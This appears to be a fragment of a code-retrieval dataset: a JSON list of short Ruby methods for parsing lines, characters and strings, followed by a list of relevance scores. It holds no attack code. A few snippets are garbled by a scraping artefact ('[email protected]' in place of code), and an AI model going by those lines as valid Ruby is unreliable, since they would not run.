"def get\n @source_index += 1\n\n # Maintain line count.\n prev_char = @source_text[@source_index - 1]\n if @source_index.positive? && prev_char == \"\\n\"\n @line_index += 1\n @col_index = -1\n end\n\n @col_index += 1\n char = if @source_index > @last_index\n # Read past the end of source text.\n END_MARK\n else\n @source_text[@source_index]\n end\n Character.new(char, @line_index, @col_index, @source_index, @source_text)\n end",
"def current_line_number\n # Not using string[@previous_pos..best_pos].count('\\n') because it is slower\n strscan = ::StringScanner.new(string)\n strscan.pos = @previous_pos\n old_pos = pos + 1\n @previous_line_number += 1 while strscan.skip_until(/\\n/) && strscan.pos <= old_pos\n\n @previous_pos = (eos? ? pos : pos + 1)\n @previous_line_number\n end",
"def each_line(&block)\n # expect that str.index accepts an Integer for 1st argument as a byte data\n offset = 0\n while(pos = self.index(0x0a, offset))\n block.call(self[offset, pos + 1 - offset])\n offset = pos + 1\n end\n block.call(self[offset, self.size - offset]) if self.size > offset\n self\n end",
"def line_at(start_x, str)\n x = start_x\n move_to_x(start_x) if start_x > 1\n str.length.times do |i|\n $stdout.putc str[i] if x > 0 && x < @width\n x += 1\n end\n $stdout.putc \"\\n\"\n end",
"def line_index()\n end",
"def getLine(theLines, theIndex)\n\n\treturn theLines.fetch(theIndex, EMPTY_LINE);\n\nend",
"def read\n @index += 1\n line = @last ? @last : @lines[@index]\n @last = nil\n line\n end",
"def char_at(column)\n line[column, 1]\n end",
"def parse_line(line)\n results = LineRegexp.match(line)\n if results \n @elements[:line] = results[-1]\n results[-1] # remaining line \n else\n @elements[:line] = line\n line \n end\n end",
"def line(pos=pos())\n lines[line_index(pos)]\n end",
"def from_line\n position.new_line\n end",
"def next_match str\n first = nil\n ## content can be string or Chunkline, so we had to write <tt>index</tt> for this.\n ## =~ does not give an error, but it does not work.\n @content.each_with_index do |line, ix|\n col = line.index str\n if col\n first ||= [ ix, col ]\n if ix > @current_index\n return [ix, col]\n end\n end\n end\n return first\n end",
"def parse_line\n s0 = @scanner.pos\n match_spaces\n s2 = parse_te\n if s2 == :failed\n @scanner.pos = s0\n s0 = :failed\n else\n match_spaces\n s4 = @scanner.pos\n s5 = parse_fugou\n if s5 == :failed\n @scanner.pos = s4\n s4 = :failed\n else\n s6 = parse_from\n if s6 == :failed\n @scanner.pos = s4\n s4 = :failed\n else\n @reported_pos = s4\n s4 = transform_teban_fugou_from(s2, s5, s6)\n end\n end\n if s4 == :failed\n s4 = @scanner.pos\n s5 = []\n s6 = match_regexp(/[^\\r\\n ]/)\n while s6 != :failed\n s5 << s6\n s6 = match_regexp(/[^\\r\\n ]/)\n end\n @reported_pos = s4\n s4 = s5.join\n end\n if s4 == :failed\n @scanner.pos = s0\n s0 = :failed\n else\n match_spaces\n s6 = parse_time\n s6 = nil if s6 == :failed\n match_str('+')\n if parse_nl == :failed\n @scanner.pos = s0\n s0 = :failed\n else\n @reported_pos = s0\n s0 = { 'move' => s4, 'time' => s6 }\n end\n end\n end\n s0\n end",
"def line_space([email protected])\n\t\t\ts = 0\n\t\t\t@buffer[@buffer.line.start ... index].each_char do |k|\n\t\t\t\ts += char_space(k, s)\n\t\t\tend\n\t\t\t\n\t\t\ts\n\t\tend",
"def fromStateString(line, s)\n\ti = s\n\tuntil line[i] == '\t' || i == line.length\n\t\ti = i+1\n\t\tif i>7\n\t\t\tputs 'ERROR: cannot read line in fromStateString'\n\t\t\treturn -1\n\t\tend\n\tend\n\treturn line[s..i-1]\nend",
"def io_buf_line\n index = @io_buf.index \"\\n\"\n return unless index\n\n @io_buf.slice!(0..index)\n end",
"def line_index(num)\n\t\tif num == 0\n\t\t\treturn -1\n\t\telsif num <= @line_indices.length\n\t\t\treturn @line_indices[num - 1]\n\t\telsif num == @line_indices.length + 1\n\t\t\treturn @text.length\n\t\telse\n\t\t\treturn -999 # todo\n\t\tend \n\tend",
"def read_next()\n return nil if @at_end\n\n begin\n pos = @marker.position\n\n if @marker.character == ?\\n\n pos.line += 1\n pos.column = 0\n end\n\n @marker.character = @reader.next\n @marker.source_index += 1\n pos.column += 1\n rescue StopIteration\n @at_end = true\n @marker.character = nil\n end\n\n @marker.character\n end",
"def peekChar\r\n\t\tcheckLine\r\n\t\tcheckSpace\r\n\t\treturn @Line[0]\r\n\tend",
"def get_next_line(file, index)\n index.value += 1\n return get_current_line(file, index)\nend",
"def get_char at\n index = range_correct_index(at)\n return internal_object_get(index + 1)\n end",
"def each_line_with_index(io)\n offset = format.skip\n io.each_line.with_index do |line, index|\n yield(line, index) unless index < offset\n end\n end",
"def line(pos=pos)\n lines[line_index(pos)]\n end",
"def parse_line(line)\n catch :line_parsed do\n UNDERSTOOD_ROWS.each do |record_type|\n if line.start_with?(record_type)\n send \"parse_#{record_type.downcase}_line\", line.chomp\n throw :line_parsed\n end\n end\n\n if line[0].eql?('/')\n parse_comment_line line.chomp\n throw :line_parsed\n end\n\n logger.error \"Can't understand line: #{line.chomp.inspect}\"\n end\n end",
"def character_at(source_position, offset = 0)\n actual_line = source_position.line - 1\n actual_offset = source_position.offset + offset - 1\n\n # Return a newline if offset points at the very end of the line\n return \"\\n\" if actual_offset == engine.lines[actual_line].length\n\n engine.lines[actual_line][actual_offset]\n end",
"def parse line\n normalize(@lexer.tokenize(line)).select { |t| t.is_a? String }\n end",
"def nextchars(n)\n raise \"substring bounds error\" if (@index + n > @source.length)\n i = @index\n @index += n\n return(@source[i,n])\n end",
"def input_to_index(position)\nindex = position.strip.to_i - 1\nreturn index\nend",
"def parse(lineno, line)\n tokens = GedLine.new *line.chomp.strip.split(/\\s/)\n parse_line(lineno, tokens)\n end",
"def parse_crash_line(crash_line_index)\n crash_line_end_index = @log_string.index(\"\\n\", crash_line_index)\n crash_line = @log_string[crash_line_index...crash_line_end_index]\n #Assumptions: module name may not have \\t in it. function name may not have '+' in it unless\n #it's a +[ at the start (for objc class methods)\n if crash_line =~ /\\d+\\s+([^\\t]+)\\t(\\S+) ([+]?[^+]+)\\+ (\\d+)/ #\n # p $&\n module_name = $1.rstrip\n instruction_address = $2\n function_name = $3.rstrip #get rid of trailing space\n function_offset = $4\n return [module_name, crash_line_end_index, function_name, function_offset, instruction_address]\n else\n #not necessarily a bug.\n dputs \"crash line not found in #{@log_path}\"\n end\n return nil\n end",
"def read( start_position )\n pos = start_position.adjusted_stream_position\n line_number = column_number = 0\n\n if @source.at_eof?(stream_position) then\n line_number = @source.eof_line_number\n column_number = @source.eof_column_number\n else\n line_number = @source.line_number(stream_position)\n column_number = @source.column_number(stream_position)\n end\n \n characters = []\n states = [ start_position.state ]\n\n forever do\n c = readc(pos)\n action = states[-1].action_for( c )\n \n case action\n \n #\n # Read a single character and prepare to move on.\n \n when Plan::Actions::Read\n characters << c\n states << action.to_state\n pos += 1\n \n \n #\n # Group several characters for further processing. Unlike in the Parser, we\n # perform the Shift here directly. We don't move the pos, because nothing was\n # used.\n \n when Plan::Actions::Group\n length = action.by_production.length\n group = characters.slice!(-length..-1)\n states.slice!(-length..-1)\n states << states[-1].action_for(action.by_production.name).to_state\n characters << group\n\n\n #\n # Tokenize ends the read() operation. We set our answer into the start_position\n # and return.\n \n when Plan::Actions::Tokenize\n length = action.by_production.length\n if characters.length == length then\n start_position.determinant = Nodes::Token.new( characters.flatten, action.by_production.name, start_position.adjusted_stream_position, line_number, column_number, @source )\n break\n else\n nyi( \"error handling for too short Tokenize\" )\n end\n \n \n #\n # For lexical stuff, all Attempt actions will be of the same type. For Group\n # actions, we want the longest match (always), so we need to try all branches\n # and find the longest Token produced. For Tokenize, we need to interact with\n # the Parser's BranchInfo system.\n \n when Plan::Actions::Attempt\n case action.actions[0]\n when Plan::Actions::Group\n nyi()\n when Plan::Actions::Tokenize\n nyi()\n else\n nyi( \"attempt support for #{action.actions[0].class.name}\" )\n end\n \n \n #\n # If there is no action, we've got an error.\n \n when NilClass\n nyi( \"error\" )\n \n else\n nyi( \"not supported\", action )\n end\n end\n end",
"def find_elem(line, index = 1)\n delim = line.chomp.split(' ')\n prefix = delim[index]\nend",
"def ORIGnext_match str\n return unless str\n first = nil\n ## content can be string or Chunkline, so we had to write <tt>index</tt> for this.\n ## =~ does not give an error, but it does not work.\n @native_text.each_with_index do |line, ix|\n offset = 0\n # next line just a hack and not correct if only one match in file FIXME\n offset = @curpos + 1 if ix == @current_index\n _col = line.index str, offset\n if _col\n first ||= [ ix, _col ]\n if ix > @current_index || ( ix == @current_index && _col > @curpos)\n return [ix, _col]\n end\n end\n end\n # if first is nil, then none found in current line also, so don't increment offset in current line\n # next time. FIXME TODO\n return first\n end",
"def parse_cr data, ix\n ln = (@linebuffer << data[0...ix]).join\n @linebuffer.clear\n\n ln.force_encoding(\"UTF-8\")\n\n receive_line ln\n @outputbuffer.print ln\n\n # jump back to the last line feed\n @outputbuffer.pos = @lf_offset\n\n # parse rest of the data\n parse_crlf data[(ix+1)..-1]\n end",
"def lex_line\n @chunks = @line.scan(/#{BRACKET_RE}|#{DATE_RE}|#{MOD_RE}|#{ATTR_REGEX}|#{OTHER_RE}/).chunk do |seg|\n case seg\n when BRACKET_RE then :bracket\n when MOD_RE then :modifier\n when DATE_RE then :date\n when ATTR_REGEX then :attr\n when OTHER_RE then :other\n else :error\n end\n end.to_a\n # it should be impossible to encounter errors, but cry if they happen\n check_for_errors\n @chunks\n end",
"def normal_data_start(text)\n text.index(\"\\1\\n\", 2) + 2\n end",
"def move_to_next_line()\r\n while @seek_ptr < @len && @fileBuf.at(@seek_ptr) != \"\\n\"\r\n @seek_ptr = @seek_ptr + 1\r\n end\r\n end",
"def parse(str, offset=0)\n raise NotImplementedError\n end",
"def lex_start line\n starts << line.strip\n end",
"def next_token(str, start_pos)\n look_at = str[start_pos..-1]\n next_nonblank_pos = start_pos + (look_at =~ /\\S/ || 0)\n next_blank_pos =\n if next_match = str[next_nonblank_pos..-1] =~ /\\s/\n next_nonblank_pos + next_match\n else\n str.size\n end\n return [next_blank_pos, str[next_nonblank_pos...next_blank_pos]]\n end",
"def process_line(text, index)\n @index = index + 1\n\n case text[0]\n when DIV_CLASS; render_div(text)\n when DIV_ID\n return push_plain(text) if text[1] == ?{\n render_div(text)\n when ELEMENT; render_tag(text)\n when COMMENT; render_comment(text[1..-1].strip)\n when SANITIZE\n return push_plain(text[3..-1].strip, :escape_html => true) if text[1..2] == \"==\"\n return push_script(text[2..-1].strip, :escape_html => true) if text[1] == SCRIPT\n return push_flat_script(text[2..-1].strip, :escape_html => true) if text[1] == FLAT_SCRIPT\n return push_plain(text[1..-1].strip, :escape_html => true) if text[1] == ?\\s\n push_plain text\n when SCRIPT\n return push_plain(text[2..-1].strip) if text[1] == SCRIPT\n push_script(text[1..-1])\n when FLAT_SCRIPT; push_flat_script(text[1..-1])\n when SILENT_SCRIPT\n return start_haml_comment if text[1] == SILENT_COMMENT\n\n raise SyntaxError.new(<<END.rstrip, index) if text[1..-1].strip == \"end\"\nYou don't need to use \"- end\" in Haml. Use indentation instead:\n- if foo?\n %strong Foo!\n- else\n Not foo.\nEND\n\n push_silent(text[1..-1], true)\n newline_now\n\n # Handle stuff like - end.join(\"|\")\n @to_close_stack.last << false if text =~ /^-\\s*end\\b/ && !block_opened?\n\n case_stmt = text =~ /^-\\s*case\\b/\n keyword = mid_block_keyword?(text)\n block = block_opened? && !keyword\n\n # It's important to preserve tabulation modification for keywords\n # that involve choosing between posible blocks of code.\n if %w[else elsif when].include?(keyword)\n # @to_close_stack may not have a :script on top\n # when the preceding \"- if\" has nothing nested\n if @to_close_stack.last && @to_close_stack.last.first == :script\n @dont_indent_next_line, @dont_tab_up_next_text = @to_close_stack.last[1..2]\n else\n push_and_tabulate([:script, @dont_indent_next_line, @dont_tab_up_next_text])\n end\n\n # when is unusual in that either it will be indented twice,\n # or the case won't have created its own indentation\n if keyword == \"when\"\n push_and_tabulate([:script, @dont_indent_next_line, @dont_tab_up_next_text, false])\n end\n elsif block || case_stmt\n push_and_tabulate([:script, @dont_indent_next_line, @dont_tab_up_next_text])\n elsif block && case_stmt\n push_and_tabulate([:script, @dont_indent_next_line, @dont_tab_up_next_text])\n end\n when FILTER; start_filtered(text[1..-1].downcase)\n when DOCTYPE\n return render_doctype(text) if text[0...3] == '!!!'\n return push_plain(text[3..-1].strip, :escape_html => false) if text[1..2] == \"==\"\n return push_script(text[2..-1].strip, :escape_html => false) if text[1] == SCRIPT\n return push_flat_script(text[2..-1].strip, :escape_html => false) if text[1] == FLAT_SCRIPT\n return push_plain(text[1..-1].strip, :escape_html => false) if text[1] == ?\\s\n push_plain text\n when ESCAPE; push_plain text[1..-1]\n else push_plain text\n end\n end",
"def line\n buffer[line_number]\n end",
"def getLineFromString(line)\n return line.slice!(line.index(\"\\#~~!!\") + 6)\nend",
"def parse_lf data, ix\n ln = (@linebuffer << data[0...ix]).join\n @linebuffer.clear\n ln.chomp!\n\n ln.force_encoding(\"UTF-8\")\n\n receive_line ln\n @outputbuffer.print ln\n\n # jump to the end of the buffer to keep the characters, that\n # may already have been written\n @outputbuffer.pos = @outputbuffer.length\n # print the line feed\n @outputbuffer.puts\n # set last line feed to the current cursor position, so we\n # know where we have to jump back, when a carriage return occurs\n @lf_offset = @outputbuffer.pos\n\n # parse rest of the data\n parse_crlf data[(ix+1)..-1]\n end",
"def next_char\n temp = @file.eof? ? '^' : @file.getc\n @line += temp;\n @columnCount+=1\n return temp\n end",
"def next_line(input=[])\r\n @tokens = input\r\n @column = -1\r\n @line += 1\r\n end",
"def advance\n @level = -1\n loop do\n read_line\n return if @line.nil?\n break if @line !~ /^\\s*$/\n end\n @level, @tag, @data = @line.chomp.split(/\\s+/, 3)\n @level = @level.to_i\n end",
"def start_of_word(text,n)\n\treturn text[0,n]\nend",
"def determine_line_number(scanner)\n scanner.string[0, scanner.pos].count(\"\\n\")\n end",
"def next()\n @index += 1\n @string[@index...(@index+1)]\n end",
"def parse_index_offset\n return -1 if @isMzData\n r = %r{\\<indexOffset\\>(\\d+)\\<\\/indexOffset\\>}\n seekoffset = -120\n while true \n self.seek(seekoffset, IO::SEEK_END)\n if (r.match(self.read)) then \n return $1.to_i\n end\n seekoffset -= 10\n return -1 if seekoffset <= -1000\n end\n end",
"def firstChar(str, f_index)\n if alpha(str[f_index])\n return str[f_index], f_index\n end\n firstChar(str, f_index += 1) \n end",
"def line(pos = T.unsafe(nil)); end",
"def nextchar\n c = self.more?() ? @source[@index,1] : \"\\0\"\n @index += 1\n return(c)\n end",
"def current_line\n # get the actual offset\n start = @buffer.get_iter_at_offset(@@offset)\n\n # get the command\n line = @buffer.get_text(start, @buffer.end_iter)\n\n return line\n end",
"def lex_en_line_begin; end",
"def lex_en_line_begin; end",
"def lex_en_line_begin; end",
"def line_number(pos=pos)\n line_index(pos) + 1\n end",
"def next_line\n return nil if @input.eof?\n line, ch, @pos, @line_no = '', '', 0, @line_no + 1\n until ch == \"\\r\" || ch == \"\\n\" || ch.nil?\n ch = @input.getc\n line += ch unless ch.nil?\n end\n if ch == \"\\r\"\n ch = @input.getc\n @input.ungetc(ch) unless ch == \"\\n\" || ch.nil?\n end\n line.chomp << \"\\n\"\n end",
"def readline(file, line_number)\n current_line = 0\n File.open(file).each do |line_text|\n current_line += 1\n return line_text.strip if current_line == line_number\n end\n end",
"def readline(file, line_number)\n current_line = 0\n File.open(file).each do |line_text|\n current_line += 1\n return line_text.strip if current_line == line_number\n end\n end",
"def journey_station(line)\n print \"Station?\\t\"\n return line.index(gets.chomp)\nend",
"def lex_en_line_begin=(_arg0); end",
"def lex_en_line_begin=(_arg0); end",
"def lex_en_line_begin=(_arg0); end",
"def get_character(full_string, index)\n full_string[index]\nend",
"def next_token\n result = peek_token\n @start = @finish\n return result if @start >= @expr.length\n\n if @expr[@start].numeric?\n @finish = @start + 1\n while @finish < @expr.length && @expr[@finish].to_s.numeric?\n @finish = @finish + 1\n end\n else\n @finish = @start + 1\n end\n result\n end",
"def line_pos(row)\n (row > 0 ? src.split(\"\\n\")[0..(row - 1)].inject(0) { |pos, line| pos + line.length + 1 } : 0)\n end",
"def process_line(line, index)\n\n # there should be a check for interpolation here, and just run a simple replace for each line\n\n if !indented?(line)\n $context = $root\n add_selector_or_property(line, index)\n # check here for @import, @font-face, and @keyframes\n else\n\n set_default_indent(line) if $default_indent.nil?\n\n if indent_level(line) == $context.indent + 1\n add_selector_or_property(line, index)\n elsif indent_level(line) < $context.indent + 1\n $context = find_context($context.parent, line)\n add_selector_or_property(line, index)\n else\n throw \"Flagrant code error! You indented line #{index} too far\"\n end\n\n end\n\nend"
] |
[
"0.7028019",
"0.6657401",
"0.6435948",
"0.62314737",
"0.6224804",
"0.61923087",
"0.6153539",
"0.6144367",
"0.5970555",
"0.5966883",
"0.59609795",
"0.5932271",
"0.5885439",
"0.58705604",
"0.582157",
"0.58144754",
"0.5749121",
"0.57360226",
"0.57318914",
"0.57234037",
"0.56908303",
"0.566871",
"0.5660003",
"0.565575",
"0.5645739",
"0.5642511",
"0.5595753",
"0.5595753",
"0.5595753",
"0.5586544",
"0.55448455",
"0.5526168",
"0.55032986",
"0.54527605",
"0.5448462",
"0.54410064",
"0.5432017",
"0.5404032",
"0.5393584",
"0.53847164",
"0.53709656",
"0.53544545",
"0.535209",
"0.53503436",
"0.5348391",
"0.53383523",
"0.53345853",
"0.5325577",
"0.5306753",
"0.5301414",
"0.528422",
"0.52790266",
"0.5265617",
"0.5264559",
"0.5264361",
"0.5259727",
"0.5253834",
"0.52470624",
"0.5236586",
"0.5227281",
"0.5210821",
"0.5207502",
"0.5193259",
"0.51778704",
"0.5175268",
"0.51647484",
"0.515325",
"0.5146303",
"0.5145328",
"0.5136992",
"0.51268184",
"0.51199937",
"0.5119003",
"0.5113878",
"0.5108669",
"0.5098211",
"0.50853384",
"0.5059952",
"0.50589013",
"0.5057654",
"0.5049317",
"0.50388855",
"0.50248146",
"0.5024425",
"0.50239474",
"0.5022467",
"0.5022467",
"0.5022467",
"0.5010019",
"0.49994048",
"0.49897724",
"0.49897724",
"0.4988169",
"0.49636295",
"0.49636295",
"0.49636295",
"0.49618596",
"0.4960392",
"0.49560374",
"0.4953761"
] |
0.6398851
|
3
|
Parses a line starting at the given index under the assumption that the start index is inside a string. Returns the index of the next character to be parsed. This method parses either until the end of the line is reached (in which case the returned index is equal to the line's length) or until it finds the end of the string (in which case the returned index points to the character after the string's closing delimiter(s)). We almost completely disregard escape characters, except for when they precede the current string delimiter. This is because all other escapes are of no concern to us. We don't even need to check whether a singlequoted string ends with an escape character to continue at the next line, because if the escape character weren't there, the code wouldn't have passed syntax validation in the first place. Note: This method expects to be called on a line that has had trailing whitespace removed.
|
def parse_characters_in_string(line, start_index)
index = start_index
# The delimiter that would end the current string
delim = @state[:in_string]
while index < line.length
if line[index] == delim[0]
# We have encountered the string's delimiter character. Check whether the user has escaped it
if index > 0 && line[index - 1] == "\\"
# It was escaped, so simply advance one character
index += 1
else
# It was not escaped. Check whether we have as many delimiting characters as we need
if line[index...index + delim.length] == delim
# We have indeed reached the end of the string
@state[:in_string] = nil
index += delim.length
break
else
# We have not reached the end of the string yet. Advance to the next character
index += 1
end
end
else
# Advance a character
index += 1
end
end
return index
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def parse_characters_normal(line, start_index)\n index = start_index\n\n while index < line.length\n if [ \"(\", \"{\", \"[\" ].include?(line[index])\n # Opening brace\n @state[:open_braces] += 1\n index += 1\n\n elsif [ \")\", \"}\", \"]\" ].include?(line[index])\n # Closing brace\n @state[:open_braces] -= 1\n index += 1\n\n elsif line[index] == \"#\"\n # We have found the start of a comment, so ignore the rest of the line\n index = line.length\n\n elsif line[index] == \"\\\\\" && index == line.length - 1\n # We have found a backslash as the last character -> line continuation\n @state[:line_continuator] = true\n index += 1\n\n elsif line[index] == '\"\"\"'\n # We have found a triple-quoted string. Advance index and leave\n @state[:in_string] = '\"\"\"'\n index += 3\n break\n\n elsif line[index] == \"'''\"\n # We have found a triple-quoted string. Advance index and leave\n @state[:in_string] = \"'''\"\n index += 3\n break\n\n elsif line[index] == '\"'\n # We have found a single-quoted string. Advance index and leave\n @state[:in_string] = '\"'\n index += 1\n break\n\n elsif line[index] == \"'\"\n # We have found a single-quoted string. Advance index and leave\n @state[:in_string] = \"'\"\n index += 1\n break\n\n else\n # Advance a character\n index += 1\n end\n end\n\n return index\n end",
"def stringNextChar\r\n\t\[email protected]!(0, 1)\r\n\t\tcheckLine\r\n\tend",
"def compute_line_index\n scanner = StringScanner.new(@string)\n result = [0] # first line starts at 0\n while scanner.scan_until(/\\n/)\n result << scanner.pos\n end\n @line_index = result\n end",
"def advance_position\n matched_fragment = @str[@[email protected]]\n new_lines = matched_fragment.count(\"\\n\")\n if new_lines > 0\n characters_after_last_newline = matched_fragment.size - matched_fragment.rindex(\"\\n\") - 1\n [@line + new_lines, 1 + characters_after_last_newline]\n else\n [@line, @char + matched_fragment.size]\n end\n end",
"def line_from_char(index = -1)\n send_message(:LINEFROMCHAR, index.to_i)\n end",
"def tokenize_non_expanded_string( start_delimiter )\n delimiter_depth = 0\n matched_delimiter = is_matched_delimiter?( start_delimiter )\n end_delimiter = find_matching_delimiter( start_delimiter )\n\n advance # Pass the opening delimiter\n\n until((cchar == end_delimiter && delimiter_depth == 0) || @i >= @length)\n\n if matched_delimiter\n delimiter_depth += 1 if cchar == start_delimiter\n delimiter_depth -= 1 if cchar == end_delimiter\n end\n\n if cchar == '\\\\'\n advance(2) # Pass the escaped character\n else\n advance\n end\n end\n advance # Pass the closing quote\n\n if @state == :regex\n advance if ['i', 'm'].include?( cchar )\n end\n\n @expr_state = :end\n capture_token( @state )\n end",
"def string_parser(string_input)\n string_input.lines.each.with_index(1) do | line, index |\n puts \"Line #{index}: #{line}\"\n end\nend",
"def parse!(str)\n scanner = StringScanner.new(str)\n begin\n while (!scanner.eos?)\n start_pos = scanner.pos\n send(:\"parse_#{@state}\", scanner)\n if (scanner.pos == start_pos)\n # if we didn't move forward, we've run out of useful string so throw it back.\n return str\n end\n end\n ensure\n # clear out whatever we managed to scan.\n str[0, scanner.pos] = \"\"\n end\n end",
"def line_index(pos=pos())\n p = n = 0\n string.each_line do |line|\n p += line.length\n return n if p >= pos\n n += 1\n end\n 0\n end",
"def consume_string(ending)\n value = ''\n\n until @s.eos?\n case char = @s.consume\n when ending\n break\n\n when \"\\n\"\n @s.reconsume\n return create_token(:bad_string,\n :error => true,\n :value => value)\n\n when '\\\\'\n case @s.peek\n when ''\n # End of the input, so do nothing.\n next\n\n when \"\\n\"\n @s.consume\n\n else\n value << consume_escaped\n end\n\n else\n value << char\n end\n end\n\n create_token(:string, :value => value)\n end",
"def line_index(pos=pos)\n p = n = 0\n string.each_line do |line|\n p += line.length\n return n if p >= pos\n n += 1\n end\n 0\n end",
"def next_match char\n data = get_content\n row = focussed_index + 1\n row.upto(data.length-1) do |ix|\n val = data[ix].chomp rescue return # 2010-01-05 15:28 crashed on trueclass\n #if val[0,1] == char #and val != currval\n if val[0,1].casecmp(char) == 0 #AND VAL != CURRval\n return ix\n end\n end\n row = focussed_index - 1\n 0.upto(row) do |ix|\n val = data[ix].chomp\n #if val[0,1] == char #and val != currval\n if val[0,1].casecmp(char) == 0 #and val != currval\n return ix\n end\n end\n return -1\n end",
"def next_match char\n data = get_content\n row = focussed_index\n currval = data[row].chomp\n row.upto(data.length-1) do |ix|\n val = data[ix].chomp\n if val[0,1] == char and val != currval\n return ix\n end\n end\n 0.upto(row) do |ix|\n val = data[ix].chomp\n if val[0,1] == char and val != currval\n return ix\n end\n end\n return -1\n end",
"def consume_string(ending = nil)\n ending = @s.current if ending.nil?\n value = String.new\n\n until @s.eos?\n case char = @s.consume\n when ending\n break\n\n when \"\\n\"\n # Parse error.\n @s.reconsume\n return create_token(:bad_string,\n :error => true,\n :value => value)\n\n when '\\\\'\n case @s.peek\n when ''\n # End of the input, so do nothing.\n next\n\n when \"\\n\"\n @s.consume\n\n else\n value << consume_escaped\n end\n\n else\n value << char\n end\n end\n\n create_token(:string, :value => value)\n end",
"def textUpTo(str, strIsRegex, errorIfNotFound)\n\t while @currInput.pos >= @currInput.length\n\t\[email protected]()\n\t\t@currInput = @inputStack.last\n\t end\n\n\t if strIsRegex\n\t\ttextEnd = (str =~ @currInput.string[@currInput.pos .. -1])\n\t\ttextEnd += @currInput.pos if textEnd\n\t else\n\t\ttextEnd = @currInput.string.index(str, @currInput.pos)\n\t end\n\n\t # Throw error here if no char found and if errorIfNotFound is\n\t # true.\n\t if textEnd.nil?\n\t\tif errorIfNotFound\n\t\t raise ParserError.new(\"unexpected EOF: missing #{str}\",\n\t\t\t\t\t self)\n\t\tend\n\t\ttextEnd = @currInput.length\n\t end\n\n\t range = (@currInput.pos ... textEnd)\n\t text = @currInput.string[range]\n\t skipChars(text.length)\n\t return text\n\tend",
"def nextChar\n if getChar == \"\\n\"\n @line += 1\n @column = @lastLineSize\n end\n @index += 1\n @column += 1\n end",
"def line_at(char)\n return nil unless char\n text[0..char].count(\"\\n\") + 1\n end",
"def read_string\n\t\t\n\t\t# TODO: Add the ability to have escape characters.\n\t\tstart_char \t= @chars.next # Don't add quotation marks to the string value\n\t\tline_num \t= @chars.get_cur_line\n\t\tcol_num \t= @chars.get_cur_col\n\t\ttok_val \t= ''\n\n\t\twhile true\n\t\t\tbegin\n\t\t\t\tchar = @chars.peak\n\t\t\trescue EOFError\n\t\t\t\traise \"LEXER ERROR: At line: #{line_num}, col: #{col_num} >> String does not end.\"\n\t\t \t\treturn nil\n\t\t \tend\n\n\t\t \tif char == start_char\n\t\t \t\treturn Token.new(\"String\", tok_val, line_num, col_num)\n\t\t \tend\n\t\t \ttok_val += char\n\t\t \[email protected]\n\t\tend\n\tend",
"def get_current_line(file, index)\n current_line = file[index.value]\n if !current_line.nil?\n current_line.chomp()\n end\n while (!current_line.nil?) && current_line.match(/\\A\\s*\\Z/)\n index.value += 1\n current_line = file[index.value]\n if !current_line.nil?\n current_line.chomp()\n end\n end\n return current_line\nend",
"def next_char\n @current_char_pos += 1\n @current_char = @string[@current_char_pos, 1]\n end",
"def line_at(io, char)\n read(io)[0..char].count(\"\\n\") + 1\n end",
"def char_index(length:, string:)\n i = 0\n char_count = 0\n while i < string.bytesize && char_count < length\n ordinal = string[i].ord\n \n if (ordinal & 0x80) == 0 # 1-byte char\n char_count += 1\n elsif (ordinal & 0xF0) == 0xF0 # 4-byte char\n char_count += 1\n i += 3\n elsif (ordinal & 0xE0) == 0xE0 # 3-byte char\n char_count += 1\n i += 2\n elsif (ordinal & 0xC0) == 0xC0 # 2-byte char\n char_count += 1\n i += 1\n else\n # likely in middle of char; scan forward up to 2 more\n # bytes\n # also, have a boundary condition here; we might have\n # a short read so if we run out of bytes to check just\n # ignore this half-formed char\n j = i + 1\n k = 0\n while k < 2 && j < string.bytesize\n break if (string[j].ord & 0xC0) != 0x80\n k += 1\n j += 1\n i += 1\n end\n end\n \n i += 1\n end\n i\n end",
"def position(index)\n return [-1, -1] unless index < string.length\n\n row_start = @line_starts.select { |line_start| line_start <= index }.last\n row = @line_starts.index(row_start)\n column = index - row_start\n [row, column]\n end",
"def NextChar\r\n\t\[email protected]!(0, 1)\r\n\tend",
"def current_line_number\n # Not using string[@previous_pos..best_pos].count('\\n') because it is slower\n strscan = ::StringScanner.new(string)\n strscan.pos = @previous_pos\n old_pos = pos + 1\n @previous_line_number += 1 while strscan.skip_until(/\\n/) && strscan.pos <= old_pos\n\n @previous_pos = (eos? ? pos : pos + 1)\n @previous_line_number\n end",
"def parse str\n self.ss = scanner_class.new str\n self.lineno = 1\n self.start_of_current_line_pos = 0\n self.state ||= nil\n\n do_parse\n end",
"def parse str\n self.ss = scanner_class.new str\n self.lineno = 1\n self.start_of_current_line_pos = 0\n self.state ||= nil\n\n do_parse\n end",
"def parse(char = \" \")\n consumed = \"\"\n while c = consume\n break if c == char || c == \"\\n\"\n consumed += c\n end\n return consumed\nend",
"def consume_string()\n delimiter = @partial_string['delimiter']\n escape_next = @partial_string['escape_next']\n built = @partial_string['built']\n success = false\n\n debug \"Attempting to consume string (with delim: #{delimiter})\"\n loop do\n first = @stream[0]\n break unless first\n\n debug \"Iter for char '#{first}', escaping this char? #{escape_next}, delimiter '#{delimiter}' - current: #{built}\",\n :verbose\n if escape_next\n built += ESCAPE_CHARS.include?(first) ? ESCAPE_CHARS[first] : first\n escape_next = false\n elsif first == '\\\\'\n escape_next = true\n elsif first == delimiter\n consume\n success = true\n\n break\n else\n built += first\n end\n\n consume\n end\n\n debug \"String consumption success?: #{success}\"\n if success\n reset_state\n create_token(:string, built)\n else\n @partial_string['escape_next'] = escape_next\n @partial_string['built'] = built\n end\n end",
"def next_string(c)\n q = c\n @pos += 1\n t = ''\n while @pos < @length\n c = @sql[@pos, 1]\n case c\n when q\n if @pos + 1 < @length && @sql[@pos + 1, 1] == q # double quote\n t += q\n @pos += 1\n else\n @pos += 1\n return t\n end\n when '\\\\'\n @pos += 1\n return t if @pos >= @length\n t << @sql[@pos, 1]\n else\n t << c\n end\n @pos += 1\n end\n raise \"unterminated string in SQL: #{@sql}\"\n end",
"def parse_escaped_chars\n @src.pos += @src.matched_size\n add_text(@src[1])\n end",
"def line\n @string[0..@index].split(\"\\n\").count\n end",
"def next_match str\n first = nil\n ## content can be string or Chunkline, so we had to write <tt>index</tt> for this.\n ## =~ does not give an error, but it does not work.\n @content.each_with_index do |line, ix|\n col = line.index str\n if col\n first ||= [ ix, col ]\n if ix > @current_index\n return [ix, col]\n end\n end\n end\n return first\n end",
